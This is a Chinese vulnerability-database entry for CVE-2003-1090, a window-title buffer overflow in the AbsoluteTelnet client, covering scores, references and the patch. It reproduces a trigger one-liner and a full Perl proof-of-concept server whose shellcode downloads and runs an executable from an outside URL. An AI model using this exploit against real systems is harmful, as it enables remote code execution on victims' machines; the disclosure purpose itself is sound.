CVE-2003-1090
CVSS10.0
发布时间 :2003-02-06 00:00:00
修订时间 :2016-10-17 22:39:21
NMCOE    

[原文]Buffer overflow in AbsoluteTelnet before 2.12 RC10 allows remote attackers to execute arbitrary code via a long window title.


[CNNVD]Celestial Software AbsoluteTelnet标题栏远程缓冲区溢出漏洞(CNNVD-200302-001)

        
        AbsoluteTelnet是一款终端客户程序,支持多种协议包括Telnet、SSH1、SSH2等,可使用在Win32平台下。
        AbsoluteTelnet对超长标题栏缺少正确边界检查,本地或者远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以进程用户权限在系统上执行任意指令。
        当设置程序标题栏(titlebar)过长时,AbsoluteTelnet运行时可覆盖堆栈返回地址,如:
        export KNUD=`perl -e 'print "A" x 296'`
        echo -ne "\033]0;$KNUD\007"
        用户可以诱使目标用户'cat'一个文件来执行这个攻击。当AbsoluteTelnet设置为"default
        telnet client"时,构建包含如下Meta refresh的网页,可以触发此类问题:
        .
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:celestial_software:absolutetelnet:2.0
cpe:/a:celestial_software:absolutetelnet:2.11

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1090
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1090
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200302-001
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=104454984001076&w=2
(UNKNOWN)  BUGTRAQ  20030206 AbsoluteTelnet 2.00 buffer overflow.
http://www.kb.cert.org/vuls/id/666073
(VENDOR_ADVISORY)  CERT-VN  VU#666073
http://www.securityfocus.com/bid/6785
(VENDOR_ADVISORY)  BID  6785
http://xforce.iss.net/xforce/xfdb/11265
(VENDOR_ADVISORY)  XF  absolutetelnet-title-bar-bo(11265)

- 漏洞信息

Celestial Software AbsoluteTelnet标题栏远程缓冲区溢出漏洞
危急 边界条件错误
2003-02-06 00:00:00 2005-10-20 00:00:00
远程  
        
        AbsoluteTelnet是一款终端客户程序,支持多种协议包括Telnet、SSH1、SSH2等,可使用在Win32平台下。
        AbsoluteTelnet对超长标题栏缺少正确边界检查,本地或者远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以进程用户权限在系统上执行任意指令。
        当设置程序标题栏(titlebar)过长时,AbsoluteTelnet运行时可覆盖堆栈返回地址,如:
        export KNUD=`perl -e 'print "A" x 296'`
        echo -ne "\033]0;$KNUD\007"
        用户可以诱使目标用户'cat'一个文件来执行这个攻击。当AbsoluteTelnet设置为"default
        telnet client"时,构建包含如下Meta refresh的网页,可以触发此类问题:
        .
        

- 公告与补丁

        厂商补丁:
        Celestial Software
        ------------------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Celestial Software Upgrade AbsoluteTelnet 2.12 RC10
        
        http://www.celestialsoftware.net/telnet/beta_software.html

- 漏洞信息 (22229)

Celestial Software AbsoluteTelnet 2.0/2.11 Title Bar Buffer Overflow Vulnerability (EDBID:22229)
windows remote
2003-02-06 Verified
0 Knud Erik Hojgaard
N/A [点击下载]
source: http://www.securityfocus.com/bid/6785/info

A buffer overflow vulnerability was reported for AbsoluteTelnet. The vulnerability exists due to insufficient bounds checking performed when setting the title bar of the client. 

An attacker can exploit this vulnerability by enticing a victim user to view a website with malicious HTML tags. This will cause the buffer overflow condition. Code execution may be possible.

#!/usr/bin/perl
#UK2-SEC presents..
#absolute telnet 2.00 buffer overflow
#proof of concept code
#based on kain@ircop.dk advisory
#thanx knud..
#
#Coded by:
#deadbeat
#eip@oakey.no-ip.com
#
#UK2-SEC...
use IO::Socket;
$user = "new";
$pass = "iamnew";
$shellcode = 
"\xF0\x00\x00\x00\x58\x55\x89\xE5\x81\xEC\x2C\x00\x00\x00\x89\x45\xD4\xC7\x45\xFC".
"\x00\x00\xE6\x77\x8B\x45\xFC\x66\x81\x38\x4D\x5A\x75\x7C\x05\x3C\x00\x00\x00\x8B".
"\x18\x03\x5D\xFC\x66\x81\x3B\x50\x45\x75\x6B\x81\xC3\x78\x00\x00\x00\x8B\x33\x03".
"\x75\xFC\x81\xC6\x18\x00\x00\x00\xAD\x89\x45\xF4\xAD\x03\x45\xFC\x89\x45\xF0\xAD".
"\x03\x45\xFC\x89\x45\xEC\xAD\x03\x45\xFC\x89\x45\xE8\x31\xFF\x8B\x45\xD4\x05\x0F".
"\x00\x00\x00\x89\x45\xDC\xC7\x45\xD8\x0D\x00\x00\x00\xE8\x2D\x00\x00\x00\x8B\x55".
"\xDC\x89\x55\xE0\x8B\x45\xD4\x89\x45\xDC\xC7\x45\xD8\x0F\x00\x00\x00\xE8\x15\x00".
"\x00\x00\x8B\x55\xDC\x89\x55\xE4\x8B\x45\xE0\x89\xD3\xE9\x77\x00\x00\x00\xE9\xF6".
"\x00\x00\x00\x31\xC0\x89\x45\xF8\x8B\x7D\xF8\x3B\x7D\xF4\x7D\x43\x47\x89\x7D\xF8".
"\x31\xC0\x8B\x45\xF8\xC1\xE0\x02\x8B\x5D\xEC\x01\xC3\x8B\x03\x03\x45\xFC\x89\xC7".
"\x8B\x75\xDC\x8B\x4D\xD8\xF3\xA6\x75\xD6\x31\xC0\x8B\x45\xF8\xD1\xE0\x8B\x5D\xE8".
"\x01\xC3\x31\xC0\x66\x8B\x03\xC1\xE0\x02\x8B\x5D\xF0\x01\xD8\x8B\x18\x03\x5D\xFC".
"\x89\x5D\xDC\xC3\xE8\x0B\xFF\xFF\xFF\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72".
"\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\xE9\x82\x00".
"\x00\x00\x5F\x55\x89\xE5\x81\xEC\x1C\x00\x00\x00\x89\x45\xE8\x89\x5D\xE4\x89\x7D".
"\xFC\xC7\x45\xEC\x06\x00\x00\x00\x8B\x45\xFC\x89\x45\xF4\x05\x46\x00\x00\x00\x89".
"\x45\xF0\xE8\x27\x00\x00\x00\xC7\x45\xEC\x03\x00\x00\x00\x8B\x45\xFC\x05\x4C\x00".
"\x00\x00\x89\x45\xF4\x05\x3C\x00\x00\x00\x89\x45\xF0\xE8\x08\x00\x00\x00\x8B\x45".
"\xFC\xE9\xCB\x00\x00\x00\x8B\x45\xF4\x50\xFF\x55\xE8\x85\xC0\x74\x20\x89\x45\xF8".
"\x8B\x75\xF0\x8B\x4D\xEC\x8B\x5D\xF4\x31\xC0\xAC\x01\xC3\x8B\x45\xF8\x60\x53\x50".
"\xFF\x55\xE4\x89\x03\x61\xE2\xEA\xC3\x90\xEB\xFD\xE8\x79\xFF\xFF\xFF\x6B\x65\x72".
"\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\x56\x69\x72\x74\x75\x61\x6C\x41\x6C\x6C".
"\x6F\x63\x00\x5F\x6C\x63\x72\x65\x61\x74\x00\x5F\x6C\x77\x72\x69\x74\x65\x00\x5F".
"\x6C\x63\x6C\x6F\x73\x65\x00\x57\x69\x6E\x45\x78\x65\x63\x00\x45\x78\x69\x74\x50".
"\x72\x6F\x63\x65\x73\x73\x00\x0D\x1A\x22\x2A\x32\x3A\x77\x69\x6E\x69\x6E\x65\x74".
"\x2E\x64\x6C\x6C\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x00\x49".
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x00\x49\x6E\x74\x65".
"\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69\x6C\x65\x00\x0C\x1A\x2B\x90\x31\xC0\x50".
"\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x3A\xE9\xE9\x00\x00\x00\x5E\x89\x86\x6A\x00\x00".
"\x00\x68\x04\x00\x00\x00\x68\x00\x10\x00\x00\x68\x9F\x86\x01\x00\x68\x00\x00\x00".
"\x00\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x0D\x89\x86\x00\x00\x00\x00\x31\xC0\x50\x50".
"\x50\x50\x50\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x58\x89\x86\x04\x00\x00\x00\x31\xC0".
"\x50\x50\x50\x50\x8D\x86\x08\x00\x00\x00\x50\x8B\x86\x04\x00\x00\x00\x50\x8B\x8E".
"\x6A\x00\x00\x00\xFF\x51\x66\x89\x86\x04\x00\x00\x00\x8D\x86\x62\x00\x00\x00\x50".
"\x68\x9F\x86\x01\x00\x8B\x86\x00\x00\x00\x00\x50\x8B\x86\x04\x00\x00\x00\x50\x8B".
"\x8E\x6A\x00\x00\x00\xFF\x51\x77\x68\x00\x00\x00\x00\x8D\x86\x58\x00\x00\x00\x50".
"\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x1A\x89\x86\x66\x00\x00\x00\x8B\x86\x62\x00\x00".
"\x00\x50\x8B\x86\x00\x00\x00\x00\x50\x8B\x86\x66\x00\x00\x00\x50\x8B\x8E\x6A\x00".
"\x00\x00\xFF\x51\x22\x8B\x86\x66\x00\x00\x00\x50\x8B\x8E\x6A\x00\x00\x00\xFF\x51".
"\x2A\x68\x05\x00\x00\x00\x8D\x86\x58\x00\x00\x00\x50\x8B\x8E\x6A\x00\x00\x00\xFF".
"\x51\x32\xE9\x06\xFF\xFF\xFF\xE8\x12\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00".
"\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x64\x65\x6C\x69\x6B\x6F\x6E\x2E\x64".
"\x65\x2F\x6B\x6C\x65\x69\x6E\x2E\x65\x78\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x6B\x6C\x65\x69\x6E\x2E\x65\x78\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x90";
$shell_len = length($shellcode);
print "Length of shellcode is: $shell_len\n";
$buf = "\x00" x 261;
$buf .= $shellcode;
print "\nUK2-SEC presents..\n";
print "absolutetelnet 2.00 buffer overflow\n";
print "Should start POC on port:1331\n";
$server =IO::Socket::INET->new
(
   LocalPort => 1331,
   Type => SOCK_STREAM,
   Reuse => 1,
   Listen => 5
) or die "Couldn't open POC server...\n";
while ($client = $server->accept()) {
   print $client "Welcome to localhost.localdomain\n";
   print $client "login using the password:iamnew\n";
   sleep 2;
   print $client "\n\nPassword: ";
   $passcheck = <$client>;
   unless($passcheck = $pass){
     print $client "\n\nWrong password..\n";
     close $server;
   }
   print $client"\n\nUser verfied..\n";
   print $client "\033]0$buf\007";
}
close $server;		

- 漏洞信息

16024
AbsoluteTelnet Windows Title Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in AbsoluteTelnet. The application fails to perform proper bounds checking resulting in a buffer overflow. With a specially crafted request containing an overly long window title, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2003-02-06 Unknow
2003-02-06 Unknow

- 解决方案

Upgrade to version 2.12 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站